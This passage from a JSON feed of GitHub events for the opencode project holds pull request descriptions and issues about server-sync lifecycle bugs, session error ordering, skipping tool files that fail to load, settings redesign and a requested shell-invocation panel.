          "text": "## Server sync is a lifecycle, not a fetch The visible failures looked unrelated: - A model dialog opened with no models. - The provider dialog showed only the custom OpenAI-compatible entry. - The agent dropdown vanished after a project swap and never came back. - A missing Session escaped the Session route and reached the renderer error boundary. - A reconnect could leave model, tool, command, and location data stale. They had one common cause. The app treated server state as independent HTTP results. The V2 server exposes one ordered lifecycle: an event-stream handshake admits queries, events carry every later fact, and reconnection replays the admission. The handshake, query ownership, catalog projection, event handling, reconnect, and route error boundary must agree about that lifecycle. This PR makes them agree, and it aligns each mechanism with the TUI client, which already lives by these rules. ## The contradiction that found the catalog bug The live Electron app gave a useful contradiction. `GET /api/provider`, `GET /api/model`, and `GET /api/model/default` all returned `200`. The model control also rendered. That control only rendered after its direct provider queries had reached `isSuccess`. However, `ModelsProvider` and `useProviders()` still returned an empty catalog. This excluded the server response and the normalizer. The loss occurred between the TanStack query observer and the child-store projection. ```text server.connected -> enable directory query -> loadProvidersQuery() -> TanStack query result -> child.provider_ready / child.provider -> useProviders() -> ModelsProvider -> prompt control and dialogs ``` The prompt control and the model list did not use the same readiness source. The prompt control created two extra query observers. The model list read the child-store projection. One path could say \"success\" while the other path still said \"empty.\" This PR makes the child projection the single source for both readiness and data. ## The TanStack contract TanStack Solid Query documents `createQuery` options as reactive. Signal reads must occur inside the options accessor: ```ts const query = createQuery(() => ({ ...options(directory()), enabled: connection.status() === \"connected\", })) ``` Two documented facts are easy to combine incorrectly: 1. A disabled query with no data has `status: \"pending\"`, `fetchStatus: \"idle\"`, and `isLoading: false`. 2. `data` is a Solid resource. A read can activate `Suspense` when data is not available. The old readiness check used `!isLoading`, which is true for a disabled query. The projection now uses status fields for status and reads `data` only after `isSuccess || isRefetchError`: | Need | Primitive | |---|---| | Own reactive server state for a mounted directory | `createQuery` | | Share one key and one query function | `queryOptions` | | Gate a query on the event handshake | reactive `enabled` | | Decide if cached data is usable | `isSuccess` or `isRefetchError` | | Read the resolved payload | `data`, after the status guard | | Refresh after a server event | `queryClient.fetchQuery` | | Keep a derived structured view reactive | store getter or memo | Solid preserves getters on `createStore`, so the global-provider fallback is now a live getter instead of a one-time copy taken while the global catalog was still empty. ## One query cache and one key The old provider tree had two nested `QueryClientProvider` instances. A refetch could update a cache that `ModelsProvider` did not read. The PR keeps one QueryClient at the app base. Windows exposed a second identity split. The live netlog showed the same directory under two names: ```text C:/Repos/sst/opencode C:\\Repos\\sst\\opencode ``` Bootstrap wrote under raw backslash keys while observers read under normalized keys, so a successful response under one key proved nothing about the observer under the other. Every directory-scoped bootstrap query key (providers, agents, path, references, mcp, mcp resources) now uses the same normalization as the observers. The live capture after the fix shows one key form and no duplicate fetches. ## The connection loop mirrors the TUI client `ServerSDK` owns the stream lifecycle with the same shape as `packages/tui/src/context/client.tsx`: - `connect()` reports failures as values, `{ error, connectedAt }`, and never throws into the loop. - The first event must be `server.connected`; a closed or invalid stream is an error value. - The handshake has a 2-second bound; the attempt counter resets after any connection that lived at least one second. - Disconnections report at info level. They are a normal lifecycle occurrence, not `console.error` material, and a dead server no longer floods the log. Global and directory queries use `connection.status()` in their reactive `enabled` option. Reconnection distinguishes itself from first connection: pinned Sessions force-reload only on a true reconnect, because a first connection has no gap to recover, while directory bootstraps queue on both, since a directory opened before the handshake has no other recovery path. ## Events are the healing mechanism, not a hint A field bug proved the queue-based refresh insufficient. Swapping to a project while the connection was degraded left the agent dropdown empty forever: 1. The first agents fetch failed and exhausted its retries. The child store kept `[]`. 2. The server's later `agent.updated` event only queued a re-bootstrap. 3. The in-flight guard skipped the queued run, and `ensureQueryData` returned the cached store on the next one. Nothing ever healed. The rule that fixes the class: an event that names changed state must fetch that state and write the projection directly, not hope a future bootstrap notices. - `agent.updated` fetches agents and writes the child store. - `command.updated` fetches commands and writes the child store. The old path only re-bootstrapped, and the command reload inside bootstrap was gated on MCP enablement, so MCP-off directories never refreshed slash commands. - `project.directories.updated` now works at all: it is a location-scoped event, and the only handler lived in the global branch that location-scoped events can never reach. - Catalog events (`catalog.updated`, `integration.updated`, `integration.connection.updated`) invalidate and reload the exact server and directory entry. Location events refresh vcs, skills, websearch, and shell data. A full event audit (every type in `packages/schema/src/event-manifest.ts`, TUI handling versus app handling) drove two more fixes: - The file watcher listened for the V1 name `file.watcher.updated`. The V2 stream sends `filesystem.changed`. The listener was dead, and the file tree went stale on every external change. - \"Session done\" notifications listened for `session.idle`, which has no V2 publisher. They now key on `session.execution.succeeded` and `.interrupted`, the TUI's rule; failures keep their separate error path. Remaining audit findings that need design or belong to other packages are tracked in the PR comments. ## \"Available providers\" is not \"providers that can be connected\" `/api/provider` returns providers available to the model catalog, not the provider-definition inventory. The connect dialog used it as if it were complete and showed almost nothing. The correct source is `/api/integration` (185 entries on the live server). The new `loadIntegrationsQuery()` and `useIntegrations()` own that list declaratively; the connect and unpaid-model dialogs consume it; a connected integration absent from `/api/provider` falls back to its integration metadata. ## Session events use the same lifecycle The stream adapter carries current V2 events into the app projection: pending inputs, forms, messages, and transient state. Transient hydration records a revision before its HTTP load, so an older response cannot overwrite a newer event. On reconnect, active session statuses reconcile in both directions. Adjacent text, reasoning, tool-input, and compaction deltas batch without reordering. ## Missing Sessions belong to the Session route A target Session can fail before `TargetSessionRouteContent` mounts, so the route now has an outer boundary around target-server provisioning and an inner boundary for target-scoped recovery. Both use the same typed Session-not-found predicate. A stale Session ID no longer reaches the renderer error boundary. ## The test harness must honor the transport contract The mock server used to fulfill `/api/event` with a finite body. The stream closed instantly, the app reconnected every second, and every reconnect redelivered the same events with the same IDs. Real servers never redeliver an event on one stream and mint a fresh `server.connected` per connection. Compensating in product code would be the wrong layer, so the harness now honors the contract: mock `/api/event` streams stay open through a fetch patch, each connection gets a fresh handshake ID, and a pump forwards each queued event exactly once. Spec-local mocks that never sent `server.connected` now do. One flake this exposed was upstream and is fixed separately (#41965): the cached-tab paint probe counted the markdown fallback-to-parsed hydration swap as first-paint teardown under CPU load. ## A false lead, kept for the record A capture appeared to show `/api/agent` answering `204` during location boot. It did not: the `204`s were CORS preflight `OPTIONS` responses, misattributed because the probe filtered by URL without correlating request methods. The server declares and serves `200` with location-gated handlers. The empty-dropdown root cause was the failed-fetch-plus-broken-heal chain above. Probe lesson: correlate `requestWillBeSent` method with `responseReceived` status before blaming an endpoint. ## Local development identity The desktop development script sets `OPENCODE_CHANNEL=local`, but the shared app Vite plugin mapped unknown channels to `dev`. It now accepts `local`: a cold `bun dev:desktop` shows `LOCAL`, uses a `2.0.0-local-*` server version, and keeps the channel database (`opencode-local.db`). ## Evidence from the real process All investigation ran against the live Electron renderer and its real sidecar, no mocked server state: - Cold start: `LOCAL` badge, populated model control, full model menu, 185 integrations, seven featured providers. - One normalized provider key in the netlog; the backslash duplicate is gone. - Agent dropdown: present after swap and after reload; one key form; boot-window failures bridged by retry and healed by events. - Merged-state app typecheck clean; unit suite 688 pass; full E2E suite 102 pass. The earlier cached-tab paint flake remains fixed separately by #41965. ## Timeline events are projection data, not card decoration The V2 stream already carries agent, model, location, skill, compaction, restart, shell, and subagent facts as ordered `SessionMessageInfo` values. Rendering those facts inside tool cards made their order depend on whichever card happened to own them. The timeline now projects them as `Notice` rows beside user messages, assistant parts, dividers, retries, and errors. This keeps the durable protocol order intact. A completed background shell can say `Shell finished`, a subagent can say `Explore failed`, and a model switch stays between the same neighboring messages that the CLI uses. The renderer supplies labels and muted detail; it does not reconstruct lifecycle order from component state. ## Background work has one root-session surface Foreground shell and subagent calls can block the current drain. `Ctrl+B` now calls the V2 `session.background` operation and moves that blocking work behind the normal command boundary. Background state comes from the same client-backed session projection and shell list used elsewhere; blocking jobs are excluded from the already-backgrounded count. The composer is the only action surface. Its pullout can show two independent lines: ```text Move 1 subagent to background Ctrl+B Running 1 shell and 1 subagent in background ``` Child Sessions do not show the control. Running subagent cards navigate to their child Session, but they do not grow a second background action. Todo and background state share one pullout shell so their geometry, collapse motion, and composer lift remain consistent. ## Virtualized callbacks still need a Solid owner The timeline virtualizer calls resize and anchor hooks after component setup. A dynamic boolean JSX prop such as `shouldAnchorBottom={condition()}` is compiled as a lazy getter. With cached measurements, its first read could occur inside a later virtualizer callback, after Solid had left the component owner. Solid then created an undisposable memo and warned: ```text computations created outside a `createRoot` or `render` will never be disposed ``` The component interface remains value-based, as normal Solid props should be. `MessageTimelineView` eagerly derives owned local memos from `shouldAnchorBottom` and `hasScrollGesture`, and only those owned accessors cross into the imperative virtualizer callbacks. The parent does not pass signal functions as a special prop protocol. ## Development warnings now keep their evidence Source maps can map a stack, but they cannot invent one for a plain `console.warn`. The desktop development renderer now appends a source stack to warnings and errors before `electron-log` mirrors them to the terminal. Identical messages from the same call site are grouped for one second, so a lifecycle bug gives one useful stack and one repeat count instead of a wall of context-free text. Chromium's ResizeObserver loop warning has no responsible JavaScript stack. Development builds therefore record observer creation stacks and the targets touched by recently active observers. When Chromium emits the loop warning, the log names those candidates. Resize callbacks record only a timestamp and target list; production bundles remove the entire diagnostic branch through `import.meta.env.DEV`. ## Server identity is not project identity The merged settings redesign adds a server selector to provider, model, project, and extension settings. That exposed the same identity rule from the catalog investigation: provider, model, and agent catalogs are directory projections, not server-global lists. Opening settings from a Session now carries both its selected server and its directory through `SettingsServerScope`. The scope reuses the app's one QueryClient, while query keys retain server and normalized-directory identity. Switching to another server clears the directory projection instead of applying the previous server's project path to the new server. A future project selector can provide that missing directory without changing the catalog boundary. ## CI found two boundary assumptions The background shell list is advisory UI data. A mock or transitional response with no payload now becomes an empty list before it reaches TanStack Query, whose data contract rejects `undefined`. This fixed the same seeded-history smoke failure on Linux and Windows. The new background and notice copy remains in the translation dictionary. It is intentionally English-only for now; no user-facing English is hardcoded at call sites. The old all-locales parity test was removed rather than teaching a general translation gate about temporary exceptions. ## Result One reproducible rule set: > The event handshake admits server queries. TanStack query status admits payload reads. The child projection admits UI controls. Events fetch and write the state they name. Each boundary has one owner, one key, and one reactive source. That removes the states in which HTTP says \"success,\" the control says \"ready,\" and the dialog says \"empty\" Γò¼├┤Γö£├ºΓö£Γòó and the state in which the server says \"changed\" and the app never hears it.",
          "url": "https://github.com/anomalyco/opencode/pull/41930",
          "createdAt": "2026-08-12T02:52:52Z",
          "updatedAt": "2026-08-13T07:17:11Z",
          "timestamp": "2026-08-13T07:17:11Z",
          "metrics": {
            "reactions": 0,
            "comments": 7
          },
          "labels": [
            "beta"
          ],
          "author": "Hona",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:05a31e966d235df5f8d6",
        "signalId": "github:anomalyco/opencode:pull_request:42253",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42253",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(opencode): propagate session errors and surface tool-load warnings in the UI",
          "text": "### Issue for this PR Closes #42259 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Two related problems in how session outcomes reach the UI: 1. **Session run defects were silently dropped.** When a session run failed with an unexpected defect, no error reached the UI — the session just went idle as if it succeeded. The real `session.error` event was published only *after* the `session.status idle` event, so clients that stop consuming on idle never rendered it. This PR publishes `session.error` inside the run loop, before the runner transitions to idle, so the real message reaches the UI. 2. **Tool-load failures were not surfaced.** When a custom tool file fails to load (see #42258 / #42252), the skip was only logged. This PR adds a `session.warning` event and a `warning` field on the assistant message, rendered as an inline warning card in the session timeline (same card component as errors, `variant=\"warning\"`). It reads the skipped tools from `registry.skipped()` added in the companion PR #42252. ### How did you verify your code works? Reproduced with a project containing `.opencode/tool/broken.ts` that imports a nonexistent package. Before: the turn ended, the session went idle, and no error was shown. After: the real `ResolveMessage` error surfaces in the web UI (`session.error` now arrives before `idle`), and the skipped tool renders as an inline warning card. Ran the session prompt tests, schema event-manifest tests, and typechecks (`tsgo --noEmit` on the opencode/schema/app/sdk packages). Tested via headless opencode driven from the web browser; did not test the TUI. ### Screenshots / recordings <img width=\"1717\" height=\"1325\" alt=\"Screenshot 2026-08-13 at 12 19 53 AM\" src=\"https://github.com/user-attachments/assets/2518eaf0-3343-4226-b14c-af638d26bbe3\" /> ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR --- Applies to the `2.0`/beta branch as well (identical code path); can port if you'd like.",
          "url": "https://github.com/anomalyco/opencode/pull/42253",
          "createdAt": "2026-08-13T06:06:15Z",
          "updatedAt": "2026-08-13T07:11:16Z",
          "timestamp": "2026-08-13T07:11:16Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "DatScreamer",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:ee390e6824bcfd6ddf42",
        "signalId": "github:anomalyco/opencode:pull_request:42252",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42252",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(opencode): skip tool files that fail to load",
          "text": "### Issue for this PR Closes #42258 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Custom tool files (`.opencode/tool/*.{js,ts}`) are dynamically imported when building the tool registry. If one file throws on import (e.g. its `@opencode-ai/plugin` dependency couldn't be installed), the error propagates and kills the whole registry — taking down every session run in that project, including any valid sibling tool files. This PR wraps the import in a `try/catch`. On failure it logs a warning, records the file in a new `skipped` list, and continues loading the remaining tools. A `skipped()` accessor exposes the list so callers can surface it. The UI surfacing of these skips is handled in the companion PR #42253, which reads `registry.skipped()`. ### How did you verify your code works? Reproduced with a project containing `.opencode/tool/broken.ts` that imports a nonexistent package. Before: any prompt in that project died with the `ResolveMessage` stack. After: the run proceeds and valid tools still load. Ran the registry tests and typechecks (`tsgo --noEmit` on the opencode package). ### Screenshots / recordings Not applicable — no UI change in this PR. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR --- Applies to the `2.0`/beta branch as well (identical code path); can port if you'd like.",
          "url": "https://github.com/anomalyco/opencode/pull/42252",
          "createdAt": "2026-08-13T06:06:02Z",
          "updatedAt": "2026-08-13T07:11:05Z",
          "timestamp": "2026-08-13T07:11:05Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [],
          "author": "DatScreamer",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:381117a2d6c069e704b2",
        "signalId": "github:anomalyco/opencode:issue:42258",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42258",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Tool files that fail to load crash the whole session/registry instead of being skipped",
          "text": "### Description When a project has a `.opencode/tool/*.{js,ts}` file that fails to load (for example, it imports a package that couldn't be installed), the failure **dies the entire tool registry** — and with it, every session run in that project. A single bad tool file makes the project unusable. The tool registry in `packages/opencode/src/tool/registry.ts` globs `{tool,tools}/*.{js,ts}` and dynamically `import()`s each file with **no error handling around the import**. If the file throws (e.g. `ResolveMessage: Cannot find package ...`), the defect propagates and kills the registry's state effect, so the whole run fails. Any *valid* tool files in the same project never get a chance to load. ### Steps to reproduce 1. Create a project with a broken custom tool: ```ts // .opencode/tool/broken.ts import { tool } from \"@opencode-ai/plugin\" import { something } from \"@opencode-ai/definitely-not-a-real-package\" export default tool({ description: \"broken\", args: { x: tool.schema.string() }, async execute() { return \"\" } }) ``` 2. Open that project in the web UI and send any prompt. 3. **Observed:** the whole run dies with the `ResolveMessage` stack instead of answering. ### Expected A failing tool file should be skipped with a warning, and the rest of the tool registry (including valid sibling tool files) should still load so the session can proceed. ### Notes - I hit this using **headless opencode via the web browser** (the `opencode serve` API driven from a browser session); I did not test or investigate the TUI. - Fix: skip the broken file and log a warning (PR #42252); surfacing the warning as an inline UI card is covered by the companion issue #42251 / PR #42253. - The trigger here (an auto-installed tool dependency failing to resolve) is separate from the module-resolution mechanism itself; a missing/uninstallable package in any tool file reproduces it.",
          "url": "https://github.com/anomalyco/opencode/issues/42258",
          "createdAt": "2026-08-13T06:49:56Z",
          "updatedAt": "2026-08-13T06:59:35Z",
          "timestamp": "2026-08-13T06:59:35Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "DatScreamer",
          "state": "open",
          "assignees": [
            "jlongster"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:3bf9b7befbbde28f9aa7",
        "signalId": "github:anomalyco/opencode:issue:42259",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42259",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Session run defects are silently dropped — UI shows no error, session just goes idle",
          "text": "### Description When a session run fails with an unexpected defect (e.g. a tool-load failure, a resolver error, a provider bug), **no error is surfaced in the UI at all**. The session transitions to idle as if it succeeded — the user gets no error message, nothing to indicate the run failed. ### Steps to reproduce 1. Set up a project whose tool load fails (a `.opencode/tool/broken.ts` importing a nonexistent package). 2. In the web UI, open a session in that project and send any prompt. 3. **Observed (before fix):** the assistant turn ends, the session goes idle, and **no error is shown** — the real `ResolveMessage` never appears anywhere in the UI. (With `opencode run` in a terminal the failure does surface, but only as the generic masked fallback `Unexpected server error. Check server logs for details.` — the real cause is still lost.) ### Root cause The `session.error` event is published **after** the `session.status idle` event, so UI consumers that stop processing on idle never render it. `packages/opencode/src/effect/runner.ts` — `finishRun` publishes the session's idle status (via the `onIdle` hook → `session.status idle`) **before** completing the run's Deferred. The failure then propagates out of `ensureRunning` to the HTTP handler, whose `catchCause` publishes `session.error`. The SSE ordering is therefore always: ``` session.status busy → session.status idle → session.error (error arrives too late) ``` Clients that stop consuming on `idle` never see the error, and the web session renderer marks the turn complete when idle arrives — so the error is never displayed. ### Expected The real error message must reach the UI. The `session.error` event should be published **before** the idle status so consumers that stop on idle still receive and render it. ### Notes - I hit this using **headless opencode via the web browser** (the `opencode serve` API driven from a browser session); I did not test or investigate the TUI. - Fixed in PR #42253 (publishes `session.error` before idle). That PR also surfaces tool-load warnings from #42258/#42252 as an inline warning card. - The masking boundary lives in `packages/opencode/src/server/routes/instance/httpapi/middleware/error.ts` (defect-only 500s → `NamedError.Unknown` with `ref`); the core problem here is ordering, not just the mask.",
          "url": "https://github.com/anomalyco/opencode/issues/42259",
          "createdAt": "2026-08-13T06:50:04Z",
          "updatedAt": "2026-08-13T06:58:33Z",
          "timestamp": "2026-08-13T06:58:33Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "DatScreamer",
          "state": "open",
          "assignees": [
            "jlongster"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:2d24027fe6be7b5d1cc5",
        "signalId": "github:anomalyco/opencode:issue:42247",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42247",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]:Add a dedicated panel for viewing shell tool invocations by the agent",
          "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request ## [Feature Request] Add a dedicated panel for viewing shell tool invocations by the agent ### Problem OpenCode’s built‑in shell tools (PowerShell, Bash, etc.) are extremely useful, but in the current TUI, every invocation only appears as a short log entry in the conversation flow. This makes it difficult to follow what the agent is doing behind the scenes, especially when multiple commands are run, when they produce long outputs, or when you need to quickly review past executions. As a user, I often find myself: - Scrolling back through the conversation to find a specific command and its output. - Missing the exit status or stderr because they are buried in the log. - Unable to get an at‑a‑glance overview of which commands the agent has executed and in what order. This reduces transparency and makes debugging or auditing the agent’s actions more cumbersome than it needs to be. ### Proposed Solution I would like to request a **dedicated panel or sidebar** that provides a structured, real‑time view of all shell tool invocations made by the agent during the current session. The panel could be toggled with a keyboard shortcut (e.g., `Ctrl+Shift+S`) and should display, for each invocation: - A sequential index or timestamp. - The full command line (with clear indication of the shell used, e.g., `[bash]` or `[pwsh]`). - The exit code (coloured: green for `0`, red for non‑zero). - The combined stdout/stderr output (collapsible/expandable to save space). - The working directory (if available). - A status indicator (running, completed, failed, or killed). Ideally, the panel would also allow: - **Copying** a command or its output with a single keypress. - **Filtering** or **searching** through past invocations. - **Clicking** on an entry to jump to that point in the conversation (or highlight it). ### Why This Matters - **Transparency** – Users can see exactly what the agent is doing, which builds trust and aids learning. - **Debugging** – When something goes wrong, having a clean history of commands and their outputs speeds up troubleshooting. - **Efficiency** – No more endless scrolling; everything is organised in one place. - **Education** – New users can better understand how the agent uses shell tools to solve tasks. ### Additional Ideas - If the panel is too heavy for the TUI, a lightweight pop‑up that appears on demand would also be a good alternative. - The panel could be integrated with the existing log system but presented in a more human‑friendly, tabular format. - For long‑running commands, showing a live streaming output inside the panel would be amazing. ### Conclusion I believe this feature would significantly improve the user experience of OpenCode, making the agent’s actions more visible and manageable. Thank you for considering this request! --- *(If this is already possible via some hidden flag or plugin, please point me to it – otherwise, I hope this can be added to the roadmap.)*",
          "url": "https://github.com/anomalyco/opencode/issues/42247",
          "createdAt": "2026-08-13T05:51:27Z",
          "updatedAt": "2026-08-13T06:55:59Z",
          "timestamp": "2026-08-13T06:55:59Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "Thd3178",
          "state": "closed",
          "assignees": [
            "simonklee"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:77893d52fb4049cbf7d4",
        "signalId": "github:anomalyco/opencode:pull_request:40845",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:40845",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(app): redesign non-modal settings",
          "text": "## Summary - reorganize the settings navigation and split appearance and notifications into dedicated pages - add Figma-aligned Projects and Extensions views backed by real server configuration and MCP state - improve multi-server selection, local/default server ordering, and default-server menu behavior - add the supporting settings icons, layout styles, and localized copy ## Test plan - \bun typecheck in packages/app - \bun run test:unit in packages/app (707 passing) - \bun run build in packages/app - full workspace typecheck from the push hook (30 packages passing)",
          "url": "https://github.com/anomalyco/opencode/pull/40845",
          "createdAt": "2026-08-06T11:26:49Z",
          "updatedAt": "2026-08-13T06:52:08Z",
          "timestamp": "2026-08-13T06:52:08Z",
          "metrics": {
            "reactions": 0,
            "comments": 17
          },
          "labels": [
            "beta"
          ],
          "author": "Hona",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:9669da2760141ef1a3e3",
        "signalId": "github:anomalyco/opencode:issue:42251",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42251",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Session run defects are silently dropped — UI shows no error, session just goes idle",
          "text": "**Title:** Session run defects are silently dropped — UI shows no error, session just goes idle ## Problem When a session run fails with an unexpected defect (e.g. a tool-load failure, a resolver error, a provider bug), **no error is surfaced in the UI at all**. The session transitions to idle as if it succeeded — the user gets no error message, nothing to indicate the run failed. ## Repro 1. Set up a project whose tool load fails (a `.opencode/tool/broken.ts` importing a nonexistent package). 2. In the web UI, open a session in that project and send any prompt. 3. **Observed (before fix):** the assistant turn ends, the session goes idle, and **no error is shown** — the real `ResolveMessage` never appears anywhere in the UI. (With `opencode run` in a terminal the failure does surface, but only as the generic masked fallback `Unexpected server error. Check server logs for details.` — the real cause is still lost.) ## Root cause The `session.error` event is published **after** the `session.status idle` event, so UI consumers that stop processing on idle never render it. `packages/opencode/src/effect/runner.ts` — `finishRun` (line ~70) publishes the session's idle status (via the `onIdle` hook → `session.status idle`) **before** completing the run's Deferred. The failure then propagates out of `ensureRunning` to the HTTP handler, whose `catchCause` publishes `session.error`. The SSE ordering is therefore always: ``` session.status busy → session.status idle → session.error (error arrives too late) ``` Clients that stop consuming on `idle` never see the error, and the web session renderer marks the turn complete when idle arrives — so the error is never displayed. ## Expected The real error message must reach the UI. The `session.error` event should be published **before** the idle status so consumers that stop on idle still receive and render it. ## Notes - I hit this using **headless opencode via the web browser** (the `opencode serve` API driven from a browser session); I did not test or investigate the TUI. - Related to the companion issue about tool files that fail to load: the broken-tool repro is the easiest way to trigger this, but this issue covers any unexpected session-run defect. - The masking boundary lives in `packages/opencode/src/server/routes/instance/httpapi/middleware/error.ts` (defect-only 500s → `NamedError.Unknown` with `ref`); the core problem here is ordering, not just the mask.",
          "url": "https://github.com/anomalyco/opencode/issues/42251",
          "createdAt": "2026-08-13T05:57:31Z",
          "updatedAt": "2026-08-13T06:52:02Z",
          "timestamp": "2026-08-13T06:52:02Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "agent-harnesses[bot]",
          "state": "open",
          "assignees": [
            "jlongster"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:32cb2bc1766e7e486561",
        "signalId": "github:anomalyco/opencode:issue:42250",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42250",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Tool files that fail to load crash the whole session/registry instead of being skipped",
          "text": "**Title:** Tool files that fail to load crash the whole session/registry instead of being skipped ## Problem When a project has a `.opencode/tool/*.{js,ts}` file that fails to load (for example, it imports a package that couldn't be installed), the failure **dies the entire tool registry** — and with it, every session run in that project. A single bad tool file makes the project unusable. The tool registry in `packages/opencode/src/tool/registry.ts` globs `{tool,tools}/*.{js,ts}` and dynamically `import()`s each file (line ~195) with **no error handling around the import**. If the file throws (e.g. `ResolveMessage: Cannot find package ...`), the defect propagates and kills the registry's state effect, so the whole run fails. Any *valid* tool files in the same project never get a chance to load. ## Repro 1. Create a project with a broken custom tool: ```ts // .opencode/tool/broken.ts import { tool } from \"@opencode-ai/plugin\" import { something } from \"@opencode-ai/definitely-not-a-real-package\" export default tool({ description: \"broken\", args: { x: tool.schema.string() }, async execute() { return \"\" } }) ``` 2. Open that project in the web UI and send any prompt. 3. **Observed:** the whole run dies with the `ResolveMessage` stack instead of answering. ## Expected A failing tool file should be skipped with a warning (log + UI), and the rest of the tool registry (including valid sibling tool files) should still load so the session can proceed. ## Root cause `packages/opencode/src/tool/registry.ts` — the `import()` inside the registry state builder has no `try/catch`; a single failing file dies the registry. ## Notes - I hit this using **headless opencode via the web browser** (the `opencode serve` API driven from a browser session); I did not test or investigate the TUI. - The trigger here (an auto-installed tool dependency failing to resolve) is separate from the module-resolution mechanism itself; a missing/uninstallable package in any tool file reproduces it. - Related: this is the repro used to hit the silently-dropped error in the companion issue about session run defects.",
          "url": "https://github.com/anomalyco/opencode/issues/42250",
          "createdAt": "2026-08-13T05:57:23Z",
          "updatedAt": "2026-08-13T06:51:57Z",
          "timestamp": "2026-08-13T06:51:57Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [],
          "author": "agent-harnesses[bot]",
          "state": "open",
          "assignees": [
            "nexxeln"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:732ad2557946cf20f894",
        "signalId": "github:anomalyco/opencode:pull_request:42256",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42256",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "refactor(app): consolidate desktop server data contexts",
          "text": "## Summary - consolidate server-scoped SDK, sync, notification, permission, and model state behind keyed server contexts - simplify desktop route and provider composition while preserving reactive session and directory changes - update app and desktop consumers to use the unified server data architecture and remove obsolete legacy layers ## Verification - `bun typecheck` in `packages/app` - production `session-tab-switch-benchmark.spec.ts`: 2 passed - no unmerged entries or conflict markers after merging `v2` ## Performance Median stable render times before -> after: - general cold: 69.0 ms -> 60.7 ms - general hot: 21.4 ms -> 20.7 ms - V2 closed cold: 62.2 ms -> 65.1 ms - V2 closed hot: 19.9 ms -> 19.8 ms - V2 review open cold: 37.7 ms -> 34.7 ms - V2 review open hot: 21.8 ms -> 20.3 ms",
          "url": "https://github.com/anomalyco/opencode/pull/42256",
          "createdAt": "2026-08-13T06:31:44Z",
          "updatedAt": "2026-08-13T06:31:45Z",
          "timestamp": "2026-08-13T06:31:45Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "Brendonovich",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:cdbe0baaf8f08cc0724d",
        "signalId": "github:anomalyco/opencode:issue:42255",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42255",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[Bug]:Chinese is not displayed on the screen when the commands are open",
